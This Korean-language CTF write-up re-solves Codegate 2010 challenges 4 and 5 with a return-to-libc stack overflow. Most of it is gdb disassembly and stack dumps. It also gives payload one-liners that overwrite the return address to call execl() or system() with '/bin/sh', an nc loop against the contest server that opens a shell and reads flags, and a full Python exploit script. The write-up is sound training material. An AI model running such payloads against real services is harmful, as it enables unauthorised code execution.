http://www.vnsecurity.net/2010/03/codegate-2010-online-ctf-challenge-4-5-writeup/
위 페이지를 참고하여 문제를 다시 한번 풀고 정리한 내용 입니다.
RTL을 이해하는데 도움이 될 거 같네요...
hugh@codegate-desktop:/tmp/by$ gdb -q easy
Reading symbols from /tmp/by/easy...done.
(gdb) b main
Breakpoint 1 at 0x804850e
(gdb) r
Starting program: /tmp/by/easy
Breakpoint 1, 0x0804850e in main ()
(gdb) x/x execl
0x1ea0c0 <execl>: 0x53565755
(gdb) q
execl 주소를 확인하여 보면 0x1ea0c0 이다.
hugh@codegate-desktop:/tmp/by$ gdb -q easy
Reading symbols from /tmp/by/easy...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x0804850b <main+0>: push %ebp
0x0804850c <main+1>: mov %esp,%ebp
0x0804850e <main+3>: and $0xfffffff0,%esp
0x08048511 <main+6>: sub $0x20,%esp
0x08048514 <main+9>: movl $0x0,0x1c(%esp)
0x0804851c <main+17>: mov $0x8048640,%eax
0x08048521 <main+22>: mov %eax,(%esp)
0x08048524 <main+25>: call 0x8048408 <printf@plt>
0x08048529 <main+30>: movl $0x0,(%esp)
0x08048530 <main+37>: call 0x80483e8 <fflush@plt>
0x08048535 <main+42>: mov 0x804a024,%eax
0x0804853a <main+47>: mov %eax,%edx
0x0804853c <main+49>: lea 0x18(%esp),%eax
0x08048540 <main+53>: mov %edx,0x8(%esp)
0x08048544 <main+57>: mov %eax,0x4(%esp)
0x08048548 <main+61>: lea 0x1c(%esp),%eax
0x0804854c <main+65>: mov %eax,(%esp)
0x0804854f <main+68>: call 0x80483d8 <getline@plt>
0x08048554 <main+73>: mov 0x18(%esp),%edx
0x08048558 <main+77>: mov 0x1c(%esp),%eax
0x0804855c <main+81>: mov %edx,0x4(%esp)
0x08048560 <main+85>: mov %eax,(%esp)
0x08048563 <main+88>: call 0x80484e4 <func>
0x08048568 <main+93>: movl $0x8048648,(%esp)
0x0804856f <main+100>: call 0x8048418 <puts@plt>
0x08048574 <main+105>: leave
0x08048575 <main+106>: ret
End of assembler dump.
(gdb) disassemble func
Dump of assembler code for function func:
0x080484e4 <func+0>: push %ebp
0x080484e5 <func+1>: mov %esp,%ebp
0x080484e7 <func+3>: sub $0x118,%esp
0x080484ed <func+9>: mov 0xc(%ebp),%eax
0x080484f0 <func+12>: mov %eax,0x8(%esp)
0x080484f4 <func+16>: mov 0x8(%ebp),%eax
0x080484f7 <func+19>: mov %eax,0x4(%esp)
0x080484fb <func+23>: lea -0x108(%ebp),%eax
0x08048501 <func+29>: mov %eax,(%esp)
0x08048504 <func+32>: call 0x80483f8 <memcpy@plt>
0x08048509 <func+37>: leave
0x0804850a <func+38>: ret
End of assembler dump.
(gdb) b *func+38
Breakpoint 1 at 0x804850a
(gdb) r
Starting program: /tmp/by/easy
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x0804850a in func ()
(gdb) x/32wx $esp
0xbffff74c: 0x08048568 0x0804b008 0x00000078 0x002ef420
0xbffff75c: 0xbffff778 0x001dd345 0x0019ed20 0x00000078
0xbffff76c: 0x0804b008 0x08048590 0x00000000 0xbffff7f8
0xbffff77c: 0x001c4b56 0x00000001 0xbffff824 0xbffff82c
0xbffff78c: 0x0053b858 0xbffff7e0 0xffffffff 0x001acff4
0xbffff79c: 0x080482dd 0x00000001 0xbffff7e0 0x0019e326
0xbffff7ac: 0x001ad828 0x0053bb40 0x002eeff4 0x00000000
0xbffff7bc: 0x00000000 0xbffff7f8 0xcc6d256e 0x0b141211
(gdb) x/32wx 0x0804b008
0x804b008: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b018: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b028: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b038: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b048: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b058: 0x41414141 0x41414141 0x41414141 0x000a4141
0x804b068: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b078: 0x00000000 0x00000000 0x00000000 0x00020f81
(gdb)
위 주소에서 0x0804b008 주소에 입력한 'A' 값이 들어감을 확인하였다.
그리고 위 주소들은 execl() 또는 system() 의 인자로 구성되기에 알맞은 구조로 되어 있다.
(마지막이 NULL (0x00)으로 구성되어 있으므로...)
따라서 ret를 이용하여 esp를 끌어올려 execl() 함수의 위치를 맞추어 원하는 인자를 넣어 보도록 하자.
공격은 코드의 구성은 아래와 같다.
[/bin/sh\x00] + [A, 260] + [ret * ?] + [execl()]
gdb 에서 argv를 인자로 줄 때는 "r 인자"로 구성하면 되지만 scanf(), getline() 등의 함수로 인자를 받을 시
gdb 내에서 입력하기가 곤란하다. 따라서 아래와 같이 리다이렉트를 통해 입력하면 된다.
hugh@codegate-desktop:/tmp/by$ python -c "print '/bin/sh\x00' + 'A'*260 + '\x75\x85\x04\x08'*1 + '\xc0\x70\x1a\x00'" > payload
hugh@codegate-desktop:/tmp/by$ gdb -q easy
Reading symbols from /tmp/by/easy...done.
(gdb) disassemble func
Dump of assembler code for function func:
0x080484e4 <func+0>: push %ebp
0x080484e5 <func+1>: mov %esp,%ebp
0x080484e7 <func+3>: sub $0x118,%esp
0x080484ed <func+9>: mov 0xc(%ebp),%eax
0x080484f0 <func+12>: mov %eax,0x8(%esp)
0x080484f4 <func+16>: mov 0x8(%ebp),%eax
0x080484f7 <func+19>: mov %eax,0x4(%esp)
0x080484fb <func+23>: lea -0x108(%ebp),%eax
0x08048501 <func+29>: mov %eax,(%esp)
0x08048504 <func+32>: call 0x80483f8 <memcpy@plt>
0x08048509 <func+37>: leave
0x0804850a <func+38>: ret
End of assembler dump.
(gdb) b *func+38
Breakpoint 1 at 0x804850a
(gdb) r < payload
Starting program: /tmp/by/easy < payload
Input:
Breakpoint 1, 0x0804850a in func ()
(gdb) x/32wx $esp
0xbffff74c: 0x08048575 0x001a70c0 0x0000000a 0x00ad2420
0xbffff75c: 0xbffff778 0x009c0345 0x00505d20 0x00000116
0xbffff76c: 0x0804b008 0x08048590 0x00000000 0xbffff7f8
0xbffff77c: 0x009a7b56 0x00000001 0xbffff824 0xbffff82c
0xbffff78c: 0x00213858 0xbffff7e0 0xffffffff 0x00513ff4
0xbffff79c: 0x080482dd 0x00000001 0xbffff7e0 0x00505326
0xbffff7ac: 0x00514828 0x00213b40 0x00ad1ff4 0x00000000
0xbffff7bc: 0x00000000 0xbffff7f8 0xa3451f93 0x685c28ed
(gdb) x/s 0x0804b008
0x804b008: "/bin/sh"
(gdb)
현재 ret주소에 main의 ret 코드 주소를 넣어 esp+4의 위치를 참조하게 된다.
esp+4의 위치는 execl() 함수 주소 이다. 그렇다면 execl() 함수의 인자가 다음에 오게 되는데...
우리가 원하는 "/bin/sh" 인자는 6번째 떨어진 위치에 존재한다. 따라서 ret를 6개 입력을 하여 다시 공격을 해보도록 하자.
hugh@codegate-desktop:/tmp/by$ python -c "print '/bin/sh\x00' + 'A'*260 + '\x75\x85\x04\x08'*6 + '\xc0\x70\x1a\x00'" > payload
hugh@codegate-desktop:/tmp/by$ gdb -q easy
Reading symbols from /tmp/by/easy...done.
(gdb) disassemble func
Dump of assembler code for function func:
0x080484e4 <func+0>: push %ebp
0x080484e5 <func+1>: mov %esp,%ebp
0x080484e7 <func+3>: sub $0x118,%esp
0x080484ed <func+9>: mov 0xc(%ebp),%eax
0x080484f0 <func+12>: mov %eax,0x8(%esp)
0x080484f4 <func+16>: mov 0x8(%ebp),%eax
0x080484f7 <func+19>: mov %eax,0x4(%esp)
0x080484fb <func+23>: lea -0x108(%ebp),%eax
0x08048501 <func+29>: mov %eax,(%esp)
0x08048504 <func+32>: call 0x80483f8 <memcpy@plt>
0x08048509 <func+37>: leave
0x0804850a <func+38>: ret
End of assembler dump.
(gdb) b *func+38
Breakpoint 1 at 0x804850a
(gdb) r < payload
Starting program: /tmp/by/easy < payload
Input:
Breakpoint 1, 0x0804850a in func ()
(gdb) x/32wx $esp
0xbffff74c: 0x08048575 0x08048575 0x08048575 0x08048575
0xbffff75c: 0x08048575 0x08048575 0x001a70c0 0x0000000a
0xbffff76c: 0x0804b008 0x08048590 0x00000000 0xbffff7f8
0xbffff77c: 0x00126b56 0x00000001 0xbffff824 0xbffff82c
0xbffff78c: 0x00c8c858 0xbffff7e0 0xffffffff 0x0065fff4
0xbffff79c: 0x080482dd 0x00000001 0xbffff7e0 0x00651326
0xbffff7ac: 0x00660828 0x00c8cb40 0x00250ff4 0x00000000
0xbffff7bc: 0x00000000 0xbffff7f8 0xd9ad8518 0x0294b267
(gdb) x/s 0x0804b008
0x804b008: "/bin/sh"
(gdb)
인자가 제대로 구성이 된것을 확인할 수 있었다. 이제 공격을 해보도록 하자.
byjjoon@Ubuntu:~/Padocon$ while true; do (python -c "print '/bin/sh\x00' + 'A'*260 + '\x75\x85\x04\x08'*6 + '\xc0\x70\x1a\x00'"; cat) | nc ctf4.codegate.org 9000; done
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:
id
uid=1003(easy) gid=1003(easy)
cat /home/easy/flag.txt
bc15d4ddf6ca486682064ad226a7ff1b -
똑같이 5번 문제도 같은 방식으로 풀린다.
byjjoon@Ubuntu:~/Padocon$ while true; do (python -c "print '/bin/sh\x00' + 'A'*260 + '\x75\x85\x04\x08'*6 + '\xc0\x70\x1a\x00'"; cat) | nc ctf4.codegate.org 9001; done
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:
id
uid=1004(harder) gid=1004(harder)
cat /home/harder/flag.txt
e2e4cb6adc9cd761dcde774f84529591 -
아래 코드는 system() 함수를 이용하여 작성한 exploit 코드 이다.
#!/usr/bin/python
import sys
import socket
import time
from struct import pack
def send_payload(host, port, payload):
print '[+] Connect - %s:%d' % (host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
a = s.recv(128)
print '[+] Receive - %s' % a
time.sleep(2)
print '[+] Sending Payload'
s.send(payload)
time.sleep(2)
print s.recv(512)
s.close()
def main():
host = 'ctf4.codegate.org'
port = 9000
payload = ''
payload += 'cat /home/easy/flag.txt\x00'
payload += 'A'*244
payload += pack('L', 0x08048575) * 6 # ret
payload += pack('L', 0x149020) # system()
payload += '\n'
send_payload(host, port, payload)
if __name__ == '__main__':
print '[+] Strat!'
main()
byjjoon@Ubuntu:~/Padocon$ ./exploit_3.py
[+] Strat!
[+] Connect - ctf4.codegate.org:9000
[+] Receive - Input:
[+] Sending Payload
bc15d4ddf6ca486682064ad226a7ff1b -
byjjoon@Ubuntu:~/Padocon$